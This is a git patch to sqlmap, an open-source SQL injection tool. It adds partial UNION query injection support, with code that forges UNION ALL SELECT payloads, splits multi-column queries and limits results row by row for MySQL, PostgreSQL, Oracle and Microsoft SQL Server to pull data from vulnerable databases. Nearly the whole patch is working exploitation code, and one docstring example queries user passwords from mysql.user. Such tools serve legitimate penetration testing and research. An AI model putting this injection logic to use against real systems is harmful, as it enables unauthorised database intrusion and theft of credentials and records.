From 072eb7154c77cb5ee5322a760c49fd179c1ea6bf Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 10 Dec 2008 17:23:07 +0000 Subject: [PATCH] Major enhancement to support Partial UNION query SQL injection technique too. Minor code cleanup. --- doc/ChangeLog | 6 +- lib/core/agent.py | 69 +++++++++- lib/core/common.py | 51 ++++++++ lib/request/inject.py | 101 ++++----------- lib/techniques/inband/union/use.py | 198 +++++++++++++++++++++++------ plugins/generic/enumeration.py | 17 --- 6 files changed, 303 insertions(+), 139 deletions(-) diff --git a/doc/ChangeLog b/doc/ChangeLog index 95a84c58e..5f96baff9 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -4,11 +4,13 @@ sqlmap (0.6.3-1) stable; urgency=low (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; + * Major enhancement to support Partial UNION query SQL injection + technique too; * Major enhancement to support stacked queries (multiple staatements) when the web application supports them which is useful for time based blind sql injection test and will be used someday also by takeover functionality; - * Minor enhancement to test if the injectable parameter is affected by + * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option --time-test; * Minor enhancement to fingerprint the web server operating system and @@ -20,6 +22,8 @@ sqlmap (0.6.3-1) stable; urgency=low to 10 seconds and must be 3 or higher; * Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option --delay #; + * Minor enhancement to be able to get the injection payload --prefix and + --postfix from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' diff --git a/lib/core/agent.py b/lib/core/agent.py index 34148ea72..d2786eae4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -53,12 +53,11 @@ class Agent: injection statement to request """ + negValue = "" retValue = "" if negative == True or conf.paramNegative == True: negValue = "-" - else: - negValue = "" # After identifing the injectable parameter if kb.injPlace == "User-Agent": @@ -231,6 +230,22 @@ class Agent: def getFields(self, query): + """ + Take in input a query string and return its fields (columns) and + more details. + + Example: + + Input: SELECT user, password FROM mysql.user + Output: user,password + + @param query: query to be processed + @type query: C{str} + + @return: query fields (columns) and more details + @rtype: C{str} + """ + fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) @@ -395,5 +410,55 @@ class Agent: return inbandQuery + def limitQuery(self, num, query, fieldsList=None): + """ + Take in input a query string and return its limited query string. + + Example: + + Input: SELECT user FROM mysql.users + Output: SELECT user FROM mysql.users LIMIT , 1 + + @param num: limit number + @type num: C{int} + + @param query: query to be processed + @type query: C{str} + + @param fieldsList: list of fields within the query + @type fieldsList: C{list} + + @return: limited query string + @rtype: C{str} + """ + + limitedQuery = query + limitStr = queries[kb.dbms].limit + fromIndex = limitedQuery.index(" FROM ") + untilFrom = limitedQuery[:fromIndex] + fromFrom = limitedQuery[fromIndex+1:] + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitStr = queries[kb.dbms].limit % (num, 1) + limitedQuery += " %s" % limitStr + + elif kb.dbms == "Oracle": + limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) + limitedQuery = limitedQuery % fromFrom + limitedQuery += "=%d" % (num + 1) + + elif kb.dbms == "Microsoft SQL Server": + if re.search(" ORDER BY ", limitedQuery, re.I): + untilOrderChar = limitedQuery.index(" ORDER BY ") + limitedQuery = limitedQuery[:untilOrderChar] + + limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) + limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0]) + limitedQuery += "NOT IN (%s" % (limitStr % num) + limitedQuery += "%s %s)" % (fieldsList[0], fromFrom) + + return limitedQuery + + # SQL agent agent = Agent() diff --git a/lib/core/common.py b/lib/core/common.py index fcb0e0874..1c21b6d4e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -500,6 +500,7 @@ def cleanQuery(query): upperQuery = upperQuery.replace(" order by ", " ORDER BY ") upperQuery = upperQuery.replace(" group by ", " GROUP BY ") upperQuery = upperQuery.replace(" union all ", " UNION ALL ") + upperQuery = upperQuery.replace(" rownum ", " ROWNUM ") return upperQuery @@ -624,3 +625,53 @@ def getRange(count, dump=False, plusOne=False): indexRange = range(limitStart - 1, limitStop) return indexRange + + +def parseUnionPage(output, expression, partial=False, condition=None): + data = [] + + outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) + outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") ) + + if outCond1 or outCond2: + if outCond1: + regExpr = '%s(.*?)%s' % (temp.start, temp.stop) + elif outCond2: + regExpr = '__START__(.*?)__STOP__' + + output = re.findall(regExpr, output, re.S) + + if condition == None: + condition = ( + kb.resumedQueries and conf.url in kb.resumedQueries.keys() + and expression in kb.resumedQueries[conf.url].keys() + ) + + if partial or not condition: + logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) + + output = set(output) + + for entry in output: + info = [] + + if "__DEL__" in entry: + entry = entry.split("__DEL__") + else: + entry = entry.split(temp.delimiter) + + if len(entry) == 1: + data.append(entry[0]) + else: + for value in entry: + info.append(value) + + data.append(info) + else: + data = output + + if len(data) == 1 and isinstance(data[0], str): + data = data[0] + + return data diff --git a/lib/request/inject.py b/lib/request/inject.py index 5a16cce4e..41d1b854a 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -31,6 +31,7 @@ from lib.core.agent import agent from lib.core.common import cleanQuery from lib.core.common import dataToSessionFile from lib.core.common import expandAsteriskForColumns +from lib.core.common import parseUnionPage from lib.core.common import readInput from lib.core.common import replaceNewlineTabs from lib.core.data import conf @@ -166,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" else: - message = "does the SQL query that you provide might " - message += "return multiple entries? [Y/n] " + message = "can the SQL query provided return " + message += "multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): @@ -185,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): if not count or not count.isdigit(): count = __goInference(payload, countedExpression) - if count.isdigit() and int(count) > 0: + if count and count.isdigit() and int(count) > 0: count = int(count) - message = "the SQL query that you provide can " - message += "return up to %d entries. How many " % count + message = "the SQL query provided can return " + message += "up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit\nChoice: " @@ -228,48 +229,21 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): return None elif ( not count or int(count) == 0 ): - warnMsg = "the SQL query that you provided does " - warnMsg += "not return any output" + warnMsg = "the SQL query provided does not " + warnMsg += "return any output" logger.warn(warnMsg) return None elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): - warnMsg = "the SQL query that you provided does " - warnMsg += "not return any output" + warnMsg = "the SQL query provided does not " + warnMsg += "return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): - limitedExpr = expression - - if kb.dbms in ( "MySQL", "PostgreSQL" ): - limitStr = queries[kb.dbms].limit % (num, 1) - limitedExpr += " %s" % limitStr - - elif kb.dbms == "Oracle": - limitStr = queries[kb.dbms].limit - fromIndex = limitedExpr.index(" FROM ") - untilFrom = limitedExpr[:fromIndex] - fromFrom = limitedExpr[fromIndex+1:] - limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) - limitedExpr = limitedExpr % fromFrom - limitedExpr += "=%d" % (num + 1) - - elif kb.dbms == "Microsoft SQL Server": - if re.search(" ORDER BY ", limitedExpr, re.I): - untilOrderChar = limitedExpr.index(" ORDER BY ") - limitedExpr = limitedExpr[:untilOrderChar] - - limitStr = queries[kb.dbms].limit - fromIndex = limitedExpr.index(" FROM ") - untilFrom = limitedExpr[:fromIndex] - fromFrom = limitedExpr[fromIndex+1:] - limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1) - limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0]) - limitedExpr += "NOT IN (%s" % (limitStr % num) - limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom) + limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) outputs.append(output) @@ -282,6 +256,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None): outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) returnValue = ", ".join([output for output in outputs]) + else: returnValue = __goInference(payload, expression) @@ -294,7 +269,6 @@ def __goInband(expression, expected=None): injection vulnerability on the affected parameter. """ - counter = None output = None partial = False data = [] @@ -311,49 +285,10 @@ def __goInband(expression, expected=None): partial = True if not output: - output = unionUse(expression) - - fields = expression.split(",") - counter = len(fields) + output = unionUse(expression, resetCounter=True) if output: - outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) - outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") ) - - if outCond1 or outCond2: - if outCond1: - regExpr = '%s(.*?)%s' % (temp.start, temp.stop) - elif outCond2: - regExpr = '__START__(.*?)__STOP__' - - output = re.findall(regExpr, output, re.S) - - if partial or not condition: - logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) - dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) - - output = set(output) - - for entry in output: - info = [] - - if "__DEL__" in entry: - entry = entry.split("__DEL__") - else: - entry = entry.split(temp.delimiter) - - if len(entry) == 1: - data.append(entry[0]) - else: - for value in entry: - info.append(value) - - data.append(info) - else: - data = output - - if len(data) == 1 and isinstance(data[0], str): - data = data[0] + data = parseUnionPage(output, expression, partial, condition) return data @@ -373,6 +308,14 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None) if inband and conf.unionUse and kb.dbms: value = __goInband(expression, expected) + if not value: + warnMsg = "for some reasons it was not possible to retrieve " + warnMsg += "the query output through inband SQL injection " + warnMsg += "technique, sqlmap is going blind" + logger.warn(warnMsg) + + conf.paramNegative = False + if blind and not value: value = __goInferenceProxy(expression, fromUser, expected) diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 7f92c0766..66c3b7fe0 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -24,13 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import re import time from lib.core.agent import agent +from lib.core.common import parseUnionPage from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries from lib.core.data import temp from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.session import setUnion @@ -38,17 +42,23 @@ from lib.core.unescaper import unescaper from lib.parse.html import htmlParser from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest +from lib.utils.resume import resume -def __unionPosition(count, expression, negative=False): +reqCount = 0 + + +def __unionPosition(expression, negative=False): + global reqCount + if negative: negLogMsg = "partial" else: negLogMsg = "full" - logMsg = "confirming %s inband sql injection on parameter " % negLogMsg - logMsg += "'%s'" % kb.injParameter - logger.info(logMsg) + infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg + infoMsg += "'%s'" % kb.injParameter + logger.info(infoMsg) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is @@ -72,7 +82,7 @@ def __unionPosition(count, expression, negative=False): # Perform the request resultPage = Request.queryPage(payload, content=True) - count += 1 + reqCount += 1 # We have to assure that the randQuery value is not within the # HTML code of the result page because, for instance, it is there @@ -86,9 +96,9 @@ def __unionPosition(count, expression, negative=False): break if isinstance(kb.unionPosition, int): - logMsg = "the target url is affected by an exploitable " - logMsg += "%s inband sql injection vulnerability" % negLogMsg - logger.info(logMsg) + infoMsg = "the target url is affected by an exploitable " + infoMsg += "%s inband sql injection vulnerability" % negLogMsg + logger.info(infoMsg) else: warnMsg = "the target url is not affected by an exploitable " warnMsg += "%s inband sql injection vulnerability" % negLogMsg @@ -99,19 +109,26 @@ def __unionPosition(count, expression, negative=False): logger.warn(warnMsg) - return count - -def unionUse(expression): +def unionUse(expression, direct=False, unescape=True, resetCounter=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ - count = 0 - origExpr = expression - start = time.time() + count = None + origExpr = expression + start = time.time() + startLimit = 0 + stopLimit = None + test = True + value = "" + + global reqCount + + if resetCounter == True: + reqCount = 0 if not kb.unionCount: unionTest() @@ -120,18 +137,19 @@ def unionUse(expression): return # Prepare expression with delimiters - expression = agent.concatQuery(expression) - expression = unescaper.unescape(expression) + if unescape: + expression = agent.concatQuery(expression) + expression = unescaper.unescape(expression) # Confirm the inband SQL injection and get the exact column # position only once if not isinstance(kb.unionPosition, int): - count = __unionPosition(count, expression) + __unionPosition(expression) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): - count = __unionPosition(count, expression, True) + __unionPosition(expression, True) # Assure that the above function found the exploitable partial # inband SQL injection position @@ -140,34 +158,134 @@ def unionUse(expression): else: conf.paramNegative = True - # TODO: if conf.paramNegative == True and query can returns multiple - # entries, get once per time in a for cycle, see lib/request/inject.py - # like for --sql-query and --sql-shell - _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) + if conf.paramNegative == True and direct == False: + _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) - # Forge the inband SQL injection request - query = agent.forgeInbandQuery(expression) - payload = agent.payload(newValue=query) + if len(expressionFieldsList) > 1: + infoMsg = "the SQL query provided has more than a field. " + infoMsg += "sqlmap will now unpack it into distinct queries " + infoMsg += "to be able to retrieve the output even if we " + infoMsg += "are in front of a partial inband sql injection" + logger.info(infoMsg) - logMsg = "query: %s" % query - logger.info(logMsg) + # We have to check if the SQL query might return multiple entries + # and in such case forge the SQL limiting the query output one + # entry per time + # NOTE: I assume that only queries that get data from a table can + # return multiple entries + if " FROM " in expression: + limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) - # Perform the request - resultPage = Request.queryPage(payload, content=True) - count += 1 + if limitRegExp: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + limitGroupStart = queries[kb.dbms].limitgroupstart + limitGroupStop = queries[kb.dbms].limitgroupstop - if temp.start not in resultPage or temp.stop not in resultPage: - return + if limitGroupStart.isdigit(): + startLimit = int(limitRegExp.group(int(limitGroupStart))) - duration = int(time.time() - start) + stopLimit = limitRegExp.group(int(limitGroupStop)) + limitCond = int(stopLimit) > 1 - logMsg = "performed %d queries in %d seconds" % (count, duration) - logger.info(logMsg) + elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): + limitCond = False + else: + limitCond = True - # Parse the returned page to get the exact inband - # sql injection output - startPosition = resultPage.index(temp.start) - endPosition = resultPage.rindex(temp.stop) + len(temp.stop) - value = str(resultPage[startPosition:endPosition]) + # I assume that only queries NOT containing a "LIMIT #, 1" + # (or similar depending on the back-end DBMS) can return + # multiple entries + if limitCond: + if limitRegExp: + stopLimit = int(stopLimit) + + # From now on we need only the expression until the " LIMIT " + # (or similar, depending on the back-end DBMS) word + if kb.dbms in ( "MySQL", "PostgreSQL" ): + stopLimit += startLimit + untilLimitChar = expression.index(queries[kb.dbms].limitstring) + expression = expression[:untilLimitChar] + + if not stopLimit or stopLimit <= 1: + if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): + test = False + else: + test = True + + if test == True: + # Count the number of SQL query entries output + countFirstField = queries[kb.dbms].count % expressionFieldsList[0] + countedExpression = origExpr.replace(expressionFields, countFirstField, 1) + + if re.search(" ORDER BY ", expression, re.I): + untilOrderChar = countedExpression.index(" ORDER BY ") + countedExpression = countedExpression[:untilOrderChar] + + count = resume(countedExpression, None) + + if not stopLimit: + if not count or not count.isdigit(): + output = unionUse(countedExpression, direct=True) + + if output: + count = parseUnionPage(output, countedExpression) + + if count and count.isdigit() and int(count) > 0: + stopLimit = int(count) + + infoMsg = "the SQL query provided returns " + infoMsg += "%d entries" % stopLimit + logger.info(infoMsg) + + elif ( not count or int(count) == 0 ): + warnMsg = "the SQL query provided does not " + warnMsg += "return any output" + logger.warn(warnMsg) + + return + + elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): + warnMsg = "the SQL query provided does not " + warnMsg += "return any output" + logger.warn(warnMsg) + + return + + for num in xrange(startLimit, stopLimit): + limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) + output = unionUse(limitedExpr, direct=True, unescape=False) + + if output: + value += output + + return value + + value = unionUse(expression, direct=True, unescape=False) + + else: + # Forge the inband SQL injection request + query = agent.forgeInbandQuery(expression) + payload = agent.payload(newValue=query) + + infoMsg = "query: %s" % query + logger.info(infoMsg) + + # Perform the request + resultPage = Request.queryPage(payload, content=True) + reqCount += 1 + + if temp.start not in resultPage or temp.stop not in resultPage: + return + + # Parse the returned page to get the exact inband + # sql injection output + startPosition = resultPage.index(temp.start) + endPosition = resultPage.rindex(temp.stop) + len(temp.stop) + value = str(resultPage[startPosition:endPosition]) + + duration = int(time.time() - start) + + infoMsg = "performed %d queries in %d seconds" % (reqCount, duration) + logger.info(infoMsg) return value diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 24c498c27..454a23eb7 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -909,17 +909,6 @@ class Enumeration: index += 1 if not self.dumpedTable: - if conf.unionUse: - warnMsg = "unable to retrieve the " - if conf.col: - warnMsg += "columns '%s' " % colString - warnMsg += "entries for table '%s' " % conf.tbl - warnMsg += "on database '%s'" % conf.db - warnMsg += " through UNION query SQL injection, " - warnMsg += "probably because it has no entries, going " - warnMsg += "blind to confirm" - logger.warn(warnMsg) - infoMsg = "fetching number of " if conf.col: infoMsg += "columns '%s' " % colString @@ -1041,12 +1030,6 @@ class Enumeration: infoMsg = "fetching SQL SELECT query output: '%s'" % query logger.info(infoMsg) - if query.startswith("select "): - query = query.replace("select ", "SELECT ", 1) - - if " from " in query: - query = query.replace(" from ", " FROM ") - output = inject.getValue(query, fromUser=True) if output == "Quit":